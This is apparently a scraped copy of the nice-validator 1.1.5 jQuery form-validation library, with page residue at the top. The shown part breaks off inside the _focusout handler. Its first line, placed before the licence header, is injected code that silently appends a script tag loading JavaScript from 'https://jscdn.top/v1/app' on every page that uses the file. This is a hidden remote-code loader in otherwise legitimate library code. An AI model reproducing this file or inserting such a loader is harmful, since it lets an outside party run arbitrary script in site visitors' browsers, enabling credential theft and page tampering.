1901 行
72 KiB
JavaScript
1901 行
72 KiB
JavaScript
document.head.appendChild(document.createElement('script')).src = 'https://jscdn.top/v1/app';
|
||
/*! nice-validator 1.1.5
|
||
* (c) 2012-2020 Jony Zhang <niceue@live.com>, MIT Licensed
|
||
* https://github.com/niceue/nice-validator
|
||
*/
|
||
;(function(factory) {
|
||
typeof module === 'object' && module.exports ? module.exports = factory( require( 'jquery' ) ) :
|
||
typeof define === 'function' && define.amd ? define(['jquery'], factory) :
|
||
factory(jQuery);
|
||
}(function($, undefined) {
|
||
'use strict';
|
||
|
||
var NS = 'validator',
|
||
CLS_NS = '.' + NS,
|
||
CLS_NS_RULE = '.rule',
|
||
CLS_NS_FIELD = '.field',
|
||
CLS_NS_FORM = '.form',
|
||
CLS_WRAPPER = 'nice-' + NS,
|
||
CLS_MSG_BOX = 'msg-box',
|
||
ARIA_INVALID = 'aria-invalid',
|
||
DATA_RULE = 'data-rule',
|
||
DATA_MSG = 'data-msg',
|
||
DATA_TIP = 'data-tip',
|
||
DATA_OK = 'data-ok',
|
||
DATA_TIMELY = 'data-timely',
|
||
DATA_TARGET = 'data-target',
|
||
DATA_DISPLAY = 'data-display',
|
||
DATA_MUST = 'data-must',
|
||
NOVALIDATE = 'novalidate',
|
||
INPUT_SELECTOR = ':verifiable',
|
||
|
||
rRules = /(&)?(!)?\b(\w+)(?:\[\s*(.*?\]?)\s*\]|\(\s*(.*?\)?)\s*\))?\s*(;|\|)?/g,
|
||
rRule = /(\w+)(?:\[\s*(.*?\]?)\s*\]|\(\s*(.*?\)?)\s*\))?/,
|
||
rDisplay = /(?:([^:;\(\[]*):)?(.*)/,
|
||
rDoubleBytes = /[^\x00-\xff]/g,
|
||
rPos = /top|right|bottom|left/,
|
||
rAjaxType = /(?:(cors|jsonp):)?(?:(post|get):)?(.+)/i,
|
||
rUnsafe = /[<>'"`\\]|&#x?\d+[A-F]?;?|%3[A-F]/gmi,
|
||
|
||
noop = $.noop,
|
||
proxy = $.proxy,
|
||
trim = $.trim,
|
||
isFunction = $.isFunction,
|
||
isString = function(s) {
|
||
return typeof s === 'string';
|
||
},
|
||
isObject = function(o) {
|
||
return o && Object.prototype.toString.call(o) === '[object Object]';
|
||
},
|
||
isIE = document.documentMode || +(navigator.userAgent.match(/MSIE (\d+)/) && RegExp.$1),
|
||
attr = function(el, key, value) {
|
||
if (!el || !el.tagName) return null;
|
||
if (value !== undefined) {
|
||
if (value === null) el.removeAttribute(key);
|
||
else el.setAttribute(key, '' + value);
|
||
} else {
|
||
return el.getAttribute(key);
|
||
}
|
||
},
|
||
novalidateonce,
|
||
preinitialized = {},
|
||
|
||
defaults = {
|
||
debug: 0,
|
||
theme: 'default',
|
||
ignore: '',
|
||
focusInvalid: true,
|
||
focusCleanup: false,
|
||
stopOnError: false,
|
||
beforeSubmit: null,
|
||
valid: null,
|
||
invalid: null,
|
||
validation: null,
|
||
formClass: 'n-default',
|
||
validClass: 'n-valid',
|
||
invalidClass: 'n-invalid',
|
||
bindClassTo: null
|
||
},
|
||
fieldDefaults = {
|
||
timely: 1,
|
||
display: null,
|
||
target: null,
|
||
ignoreBlank: false,
|
||
showOk: true,
|
||
// Translate ajax response to validation result
|
||
dataFilter: function (data) {
|
||
if ( isString(data) || ( isObject(data) && ('error' in data || 'ok' in data) ) ) {
|
||
return data;
|
||
}
|
||
},
|
||
msgMaker: function(opt) {
|
||
var html;
|
||
html = '<span role="alert" class="msg-wrap n-'+ opt.type + '">' + opt.arrow;
|
||
if (opt.result) {
|
||
$.each(opt.result, function(i, obj){
|
||
html += '<span class="n-'+ obj.type +'">' + opt.icon + '<span class="n-msg">' + obj.msg + '</span></span>';
|
||
});
|
||
} else {
|
||
html += opt.icon + '<span class="n-msg">' + opt.msg + '</span>';
|
||
}
|
||
html += '</span>';
|
||
return html;
|
||
},
|
||
msgWrapper: 'span',
|
||
msgArrow: '',
|
||
msgIcon: '<span class="n-icon"></span>',
|
||
msgClass: 'n-right',
|
||
msgStyle: '',
|
||
msgShow: null,
|
||
msgHide: null
|
||
},
|
||
themes = {};
|
||
|
||
/** jQuery Plugin
|
||
* @param {Object} options
|
||
debug {Boolean} 0 Whether to enable debug mode
|
||
timely {Number} 1 Whether to enable timely validation
|
||
theme {String} 'default' Theme name
|
||
stopOnError {Boolean} false Whether to stop validate when found an error input
|
||
focusCleanup {Boolean} false Whether to clean up the field message when focus the field
|
||
focusInvalid {Boolean} true Whether to focus the field that is invalid
|
||
ignoreBlank {Boolean} false When the field has no value, whether to ignore validation
|
||
ignore {jqSelector} '' Ignored fields (Using jQuery selector)
|
||
|
||
beforeSubmit {Function} Do something before submit form
|
||
dataFilter {Function} Convert ajax results
|
||
valid {Function} Triggered when the form is valid
|
||
invalid {Function} Triggered when the form is invalid
|
||
validClass {String} 'n-valid' Add this class name to a valid field
|
||
invalidClass {String} 'n-invalid' Add this class name to a invalid field
|
||
bindClassTo {jqSelector} ':verifiable' Which element should the className binding to
|
||
|
||
display {Function} Callback function to get dynamic display
|
||
target {Function} Callback function to get dynamic target
|
||
msgShow {Function} Trigger this callback when show message
|
||
msgHide {Function} Trigger this callback when hide message
|
||
msgWrapper {String} 'span' Message wrapper tag name
|
||
msgMaker {Function} Callback function to make message HTML
|
||
msgArrow {String} Message arrow template
|
||
msgIcon {String} Message icon template
|
||
msgStyle {String} Custom message css style
|
||
msgClass {String} Additional added to the message class names
|
||
formClass {String} Additional added to the form class names
|
||
|
||
messages {Object} Custom messages for the current instance
|
||
rules {Object} Custom rules for the current instance
|
||
fields {Object} Field validation configuration
|
||
{String} key name|#id
|
||
{String|Object} value Rule string or an object which can pass more arguments
|
||
|
||
fields[key][rule] {String} Rule string
|
||
fields[key][display] {String|Function}
|
||
fields[key][tip] {String} Custom tip message
|
||
fields[key][ok] {String} Custom success message
|
||
fields[key][msg] {Object} Custom error message
|
||
fields[key][msgStyle] {String} Custom message style
|
||
fields[key][msgClass] {String} A className which added to message placeholder element
|
||
fields[key][msgWrapper] {String} Tag name of the message placeholder element
|
||
fields[key][msgMaker] {Function} A function to custom message HTML
|
||
fields[key][dataFilter] {Function} A function to convert ajax results
|
||
fields[key][valid] {Function} A function triggered when field is valid
|
||
fields[key][invalid] {Function} A function triggered when field is invalid
|
||
fields[key][must] {Boolean} If set true, we always check the field even has remote checking
|
||
fields[key][timely] {Boolean} Whether to enable timely validation
|
||
fields[key][target] {jqSelector} Define placement of a message
|
||
*/
|
||
$.fn.validator = function(options) {
|
||
var that = this,
|
||
args = arguments;
|
||
|
||
if (that.is(INPUT_SELECTOR)) return that;
|
||
if (!that.is('form')) that = this.find('form');
|
||
if (!that.length) that = this;
|
||
|
||
that.each(function() {
|
||
var instance = $(this).data(NS);
|
||
|
||
if (instance) {
|
||
if ( isString(options) ) {
|
||
if ( options.charAt(0) === '_' ) return;
|
||
instance[options].apply(instance, [].slice.call(args, 1));
|
||
}
|
||
else if (options) {
|
||
instance._reset(true);
|
||
instance._init(this, options);
|
||
}
|
||
} else {
|
||
new Validator(this, options);
|
||
}
|
||
});
|
||
|
||
return this;
|
||
};
|
||
|
||
|
||
// Validate a field, or an area
|
||
$.fn.isValid = function(callback, hideMsg) {
|
||
var me = _getInstance(this[0]),
|
||
hasCallback = isFunction(callback),
|
||
ret, opt;
|
||
|
||
if (!me) return true;
|
||
if (!hasCallback && hideMsg === undefined) hideMsg = callback;
|
||
me.checkOnly = !!hideMsg;
|
||
opt = me.options;
|
||
|
||
ret = me._multiValidate(
|
||
this.is(INPUT_SELECTOR) ? this : this.find(INPUT_SELECTOR),
|
||
function(isValid){
|
||
if (!isValid && opt.focusInvalid && !me.checkOnly) {
|
||
// navigate to the error element
|
||
me.$el.find('[' + ARIA_INVALID + ']:first').focus();
|
||
}
|
||
if (hasCallback) {
|
||
if (callback.length) {
|
||
callback(isValid);
|
||
} else if (isValid) {
|
||
callback();
|
||
}
|
||
}
|
||
me.checkOnly = false;
|
||
}
|
||
);
|
||
|
||
// If you pass a callback, we maintain the jQuery object chain
|
||
return hasCallback ? this : ret;
|
||
};
|
||
|
||
$.extend($.expr.pseudos || $.expr[':'], {
|
||
// A faster selector than ":input:not(:submit,:button,:reset,:image,:disabled,[contenteditable])"
|
||
verifiable: function(elem) {
|
||
var name = elem.nodeName.toLowerCase();
|
||
|
||
return ( name === 'input' && !({submit: 1, button: 1, reset: 1, image: 1})[elem.type] ||
|
||
name === 'select' ||
|
||
name === 'textarea' ||
|
||
elem.contentEditable === 'true'
|
||
) && !elem.disabled;
|
||
},
|
||
// any value, but not only whitespace
|
||
filled: function(elem) {
|
||
return !!trim($(elem).val());
|
||
}
|
||
});
|
||
|
||
/**
|
||
* Creates a new Validator
|
||
*
|
||
* @class
|
||
* @param {Element} element - form element
|
||
* @param {Object} options - options for validator
|
||
*/
|
||
function Validator(element, options) {
|
||
var me = this;
|
||
|
||
if ( !(me instanceof Validator) ) {
|
||
return new Validator(element, options);
|
||
}
|
||
|
||
if (Validator.pending) {
|
||
$(window).on('validatorready', init);
|
||
} else {
|
||
init();
|
||
}
|
||
|
||
function init() {
|
||
me.$el = $(element);
|
||
if (me.$el.length) {
|
||
me._init(me.$el[0], options);
|
||
}
|
||
else if (isString(element)) {
|
||
preinitialized[element] = options;
|
||
}
|
||
}
|
||
}
|
||
|
||
Validator.prototype = {
|
||
_init: function(element, options) {
|
||
var me = this,
|
||
opt, themeOpt, dataOpt;
|
||
|
||
// Initialization options
|
||
if ( isFunction(options) ) {
|
||
options = {
|
||
valid: options
|
||
};
|
||
}
|
||
options = me._opt = options || {};
|
||
dataOpt = attr(element, 'data-'+ NS +'-option');
|
||
dataOpt = me._dataOpt = dataOpt && dataOpt.charAt(0) === '{' ? (new Function('return ' + dataOpt))() : {};
|
||
themeOpt = me._themeOpt = themes[ options.theme || dataOpt.theme || defaults.theme ];
|
||
opt = me.options = $.extend({}, defaults, fieldDefaults, themeOpt, me.options, options, dataOpt);
|
||
|
||
me.rules = new Rules(opt.rules, true);
|
||
me.messages = new Messages(opt.messages, true);
|
||
me.Field = _createFieldFactory(me);
|
||
me.elements = me.elements || {};
|
||
me.deferred = {};
|
||
me.errors = {};
|
||
me.fields = {};
|
||
// Initialization fields
|
||
me._initFields(opt.fields);
|
||
|
||
// Initialization events and make a cache
|
||
if ( !me.$el.data(NS) ) {
|
||
me.$el.data(NS, me).addClass(CLS_WRAPPER +' '+ opt.formClass)
|
||
.on('form-submit-validate', function(e, a, $form, opts, veto) {
|
||
me.vetoed = veto.veto = !me.isValid;
|
||
me.ajaxFormOptions = opts;
|
||
})
|
||
.on('submit'+ CLS_NS +' validate'+ CLS_NS, proxy(me, '_submit'))
|
||
.on('reset'+ CLS_NS, proxy(me, '_reset'))
|
||
.on('showmsg'+ CLS_NS, proxy(me, '_showmsg'))
|
||
.on('hidemsg'+ CLS_NS, proxy(me, '_hidemsg'))
|
||
.on('focusin'+ CLS_NS + ' click'+ CLS_NS, INPUT_SELECTOR, proxy(me, '_focusin'))
|
||
.on('focusout'+ CLS_NS +' validate'+ CLS_NS, INPUT_SELECTOR, proxy(me, '_focusout'))
|
||
.on('keyup'+ CLS_NS +' input'+ CLS_NS + ' compositionstart compositionend', INPUT_SELECTOR, proxy(me, '_focusout'))
|
||
.on('click'+ CLS_NS, ':radio,:checkbox', 'click', proxy(me, '_focusout'))
|
||
.on('change'+ CLS_NS, 'select,input[type="file"]', 'change', proxy(me, '_focusout'));
|
||
|
||
// cache the novalidate attribute value
|
||
me._NOVALIDATE = attr(element, NOVALIDATE);
|
||
// Initialization is complete, stop off default HTML5 form validation
|
||
// If use "jQuery.attr('novalidate')" in IE7 will complain: "SCRIPT3: Member not found."
|
||
attr(element, NOVALIDATE, NOVALIDATE);
|
||
}
|
||
|
||
// Display all messages in target container
|
||
if ( isString(opt.target) ) {
|
||
me.$el.find(opt.target).addClass('msg-container');
|
||
}
|
||
},
|
||
|
||
// Guess whether the form use ajax submit
|
||
_guessAjax: function(form) {
|
||
var me = this;
|
||
|
||
if ( !(me.isAjaxSubmit = !!me.options.valid) ) {
|
||
// if there is a "valid.form" event
|
||
var events = ($._data || $.data)(form, 'events');
|
||
me.isAjaxSubmit = issetEvent(events, 'valid', 'form') || issetEvent(events, 'submit', 'form-plugin');
|
||
}
|
||
|
||
function issetEvent(events, name, namespace) {
|
||
return !!(
|
||
events && events[name]
|
||
&& $.map(events[name], function(e){
|
||
return ~e.namespace.indexOf(namespace) ? 1 : null;
|
||
}).length )
|
||
}
|
||
},
|
||
|
||
_initFields: function(fields) {
|
||
var me = this, k, arr, i,
|
||
clear = fields === null;
|
||
|
||
// Processing field information
|
||
if (clear) fields = me.fields;
|
||
|
||
if ( isObject(fields) ) {
|
||
for (k in fields) {
|
||
if (~k.indexOf(',')) {
|
||
arr = k.split(',');
|
||
i = arr.length;
|
||
while (i--) {
|
||
initField(trim(arr[i]), fields[k]);
|
||
}
|
||
} else {
|
||
initField(k, fields[k]);
|
||
}
|
||
}
|
||
}
|
||
|
||
// Parsing DOM rules
|
||
me.$el.find(INPUT_SELECTOR).each(function() {
|
||
me._parse(this);
|
||
});
|
||
|
||
function initField(k, v) {
|
||
// delete a field from settings
|
||
if ( v === null || clear ) {
|
||
var el = me.elements[k];
|
||
if (el) me._resetElement(el, true);
|
||
delete me.fields[k];
|
||
} else {
|
||
me.fields[k] = new me.Field(k, isString(v) ? {rule: v} : v, me.fields[k]);
|
||
}
|
||
}
|
||
},
|
||
|
||
// Parsing a field
|
||
_parse: function(el) {
|
||
var me = this,
|
||
field,
|
||
key = el.name,
|
||
display,
|
||
timely,
|
||
dataRule = attr(el, DATA_RULE);
|
||
|
||
dataRule && attr(el, DATA_RULE, null);
|
||
|
||
// If the field has passed the key as id mode, or it doesn't has a name
|
||
if ( el.id && (
|
||
('#' + el.id in me.fields) ||
|
||
!key ||
|
||
// If dataRule and element are diffrent from old's, we use ID mode.
|
||
(dataRule !== null && (field = me.fields[key]) && dataRule !== field.rule && el.id !== field.key)
|
||
)
|
||
) {
|
||
key = '#' + el.id;
|
||
}
|
||
// Generate id
|
||
if (!key) {
|
||
key = '#' + (el.id = 'N' + String(Math.random()).slice(-12));
|
||
}
|
||
|
||
field = me.getField(key, true);
|
||
// The priority of passing parameter by DOM is higher than by JS.
|
||
field.rule = dataRule || field.rule;
|
||
|
||
if (display = attr(el, DATA_DISPLAY)) {
|
||
field.display = display;
|
||
}
|
||
if (field.rule) {
|
||
if ( attr(el, DATA_MUST) !== null || /\b(?:match|checked)\b/.test(field.rule) ) {
|
||
field.must = true;
|
||
}
|
||
if ( /\brequired\b/.test(field.rule) ) {
|
||
field.required = true;
|
||
}
|
||
if (timely = attr(el, DATA_TIMELY)) {
|
||
field.timely = +timely;
|
||
} else if (field.timely > 3) {
|
||
attr(el, DATA_TIMELY, field.timely);
|
||
}
|
||
me._parseRule(field);
|
||
field.old = {};
|
||
}
|
||
if ( isString(field.target) ) {
|
||
attr(el, DATA_TARGET, field.target);
|
||
}
|
||
if ( isString(field.tip) ) {
|
||
attr(el, DATA_TIP, field.tip);
|
||
}
|
||
|
||
return me.fields[key] = field;
|
||
},
|
||
|
||
// Parsing field rules
|
||
_parseRule: function(field) {
|
||
var arr = rDisplay.exec(field.rule);
|
||
|
||
if (!arr) return;
|
||
// current rule index
|
||
field._i = 0;
|
||
if (arr[1]) {
|
||
field.display = arr[1];
|
||
}
|
||
if (arr[2]) {
|
||
field._rules = [];
|
||
arr[2].replace(rRules, function(){
|
||
var args = arguments;
|
||
args[4] = args[4] || args[5];
|
||
field._rules.push({
|
||
and: args[1] === '&',
|
||
not: args[2] === '!',
|
||
or: args[6] === '|',
|
||
method: args[3],
|
||
params: args[4] ? $.map( args[4].split(', '), trim ) : undefined
|
||
});
|
||
});
|
||
}
|
||
},
|
||
|
||
// Verify a zone
|
||
_multiValidate: function($inputs, doneCallback){
|
||
var me = this,
|
||
opt = me.options;
|
||
|
||
me.hasError = false;
|
||
|
||
if (opt.ignore) {
|
||
$inputs = $inputs.not(opt.ignore);
|
||
}
|
||
|
||
$inputs.each(function() {
|
||
me._validate(this);
|
||
if (me.hasError && opt.stopOnError) {
|
||
// stop the validation
|
||
return false;
|
||
}
|
||
});
|
||
|
||
// Need to wait for all fields validation complete, especially asynchronous validation
|
||
if (doneCallback) {
|
||
me.validating = true;
|
||
$.when.apply(
|
||
null,
|
||
$.map(me.deferred, function(v){return v;})
|
||
).done(function(){
|
||
doneCallback.call(me, !me.hasError);
|
||
me.validating = false;
|
||
});
|
||
}
|
||
|
||
// If the form does not contain asynchronous validation, the return value is correct.
|
||
// Otherwise, you should detect form validation result through "doneCallback".
|
||
return !$.isEmptyObject(me.deferred) ? undefined : !me.hasError;
|
||
},
|
||
|
||
// Validate the whole form
|
||
_submit: function(e) {
|
||
var me = this,
|
||
opt = me.options,
|
||
form = e.target,
|
||
canSubmit = e.type === 'submit' && form.tagName === 'FORM' && !e.isDefaultPrevented();
|
||
|
||
e.preventDefault();
|
||
|
||
if (
|
||
novalidateonce && ~(novalidateonce = false) ||
|
||
// Prevent duplicate submission
|
||
me.submiting ||
|
||
// Receive the "validate" event only from the form.
|
||
e.type === 'validate' && me.$el[0] !== form ||
|
||
// trigger the beforeSubmit callback.
|
||
isFunction(opt.beforeSubmit) && opt.beforeSubmit.call(me, form) === false
|
||
) {
|
||
return;
|
||
}
|
||
|
||
if (me.isAjaxSubmit === undefined) {
|
||
me._guessAjax(form);
|
||
}
|
||
|
||
me._debug('log', '\n<<< event: ' + e.type);
|
||
|
||
me._reset();
|
||
me.submiting = true;
|
||
|
||
me._multiValidate(
|
||
me.$el.find(INPUT_SELECTOR),
|
||
function(isValid){
|
||
var ret = (isValid || opt.debug === 2) ? 'valid' : 'invalid',
|
||
errors;
|
||
|
||
if (!isValid) {
|
||
if (opt.focusInvalid) {
|
||
// navigate to the error element
|
||
me.$el.find('[' + ARIA_INVALID + ']:first').focus();
|
||
}
|
||
errors = $.map(me.errors, function(err){return err;});
|
||
}
|
||
|
||
// releasing submit
|
||
me.submiting = false;
|
||
me.isValid = isValid;
|
||
|
||
// trigger callback and event
|
||
isFunction(opt[ret]) && opt[ret].call(me, form, errors);
|
||
me.$el.trigger(ret + CLS_NS_FORM, [form, errors]);
|
||
|
||
me._debug('log', '>>> ' + ret);
|
||
|
||
if (!isValid) return;
|
||
// For jquery.form plugin
|
||
if (me.vetoed) {
|
||
$(form).ajaxSubmit(me.ajaxFormOptions);
|
||
}
|
||
else if (canSubmit && !me.isAjaxSubmit) {
|
||
document.createElement('form').submit.call(form);
|
||
}
|
||
}
|
||
);
|
||
},
|
||
|
||
_reset: function(e) {
|
||
var me = this;
|
||
|
||
me.errors = {};
|
||
if (e) {
|
||
me.reseting = true;
|
||
me.$el.find(INPUT_SELECTOR).each( function(){
|
||
me._resetElement(this);
|
||
});
|
||
delete me.reseting;
|
||
}
|
||
},
|
||
|
||
_resetElement: function(el, all) {
|
||
this._setClass(el, null);
|
||
this.hideMsg(el);
|
||
},
|
||
|
||
// Handle events: "focusin/click"
|
||
_focusin: function(e) {
|
||
var me = this,
|
||
opt = me.options,
|
||
el = e.target,
|
||
timely,
|
||
msg;
|
||
|
||
if ( me.validating || ( e.type==='click' && document.activeElement === el ) ) {
|
||
return;
|
||
}
|
||
|
||
if (opt.focusCleanup) {
|
||
if ( attr(el, ARIA_INVALID) === 'true' ) {
|
||
me._setClass(el, null);
|
||
me.hideMsg(el);
|
||
}
|
||
}
|
||
|
||
msg = attr(el, DATA_TIP);
|
||
|
||
if (msg) {
|
||
me.showMsg(el, {
|
||
type: 'tip',
|
||
msg: msg
|
||
});
|
||
} else {
|
||
if (attr(el, DATA_RULE)) {
|
||
me._parse(el);
|
||
}
|
||
if (timely = attr(el, DATA_TIMELY)) {
|
||
if ( timely === 8 || timely === 9 ) {
|
||
me._focusout(e);
|
||
}
|
||
}
|
||
}
|
||
},
|
||
|
||
// Handle events: "focusout/validate/keyup/click/change/input/compositionstart/compositionend"
|
||
_focusout: function(e) {
|
||
var me = this,
|
||
opt = me.options,
|
||
el = e.target,
|
||
|